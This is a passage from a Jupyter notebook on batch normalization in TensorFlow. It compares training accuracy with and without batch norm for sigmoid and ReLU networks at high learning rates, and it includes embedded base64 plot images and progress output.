/YC/\n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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa7ed1f128>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(True, 1, tf.nn.sigmoid)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Using sigmoid works better than ReLUs for this higher learning rate. However, you can see that without batch normalization, the network takes a long time tro train, bounces around a lot, and spends a long time stuck at 90%. The network with batch normalization trains much more quickly, seems to be more stable, and achieves a higher accuracy." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a ReLU activation function, a learning rate of 2, and bad starting weights.**<a id=\"successful_example_lr_2\"></a>" ] }, { "cell_type": "code", "execution_count": 18, "metadata": { "scrolled": false }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:35<00:00, 1392.83it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.0957999974489212\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:33<00:00, 536.51it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.9127997159957886\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.09800000488758087\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.9054000973701477\n" ] }, { "data": { "image/png": "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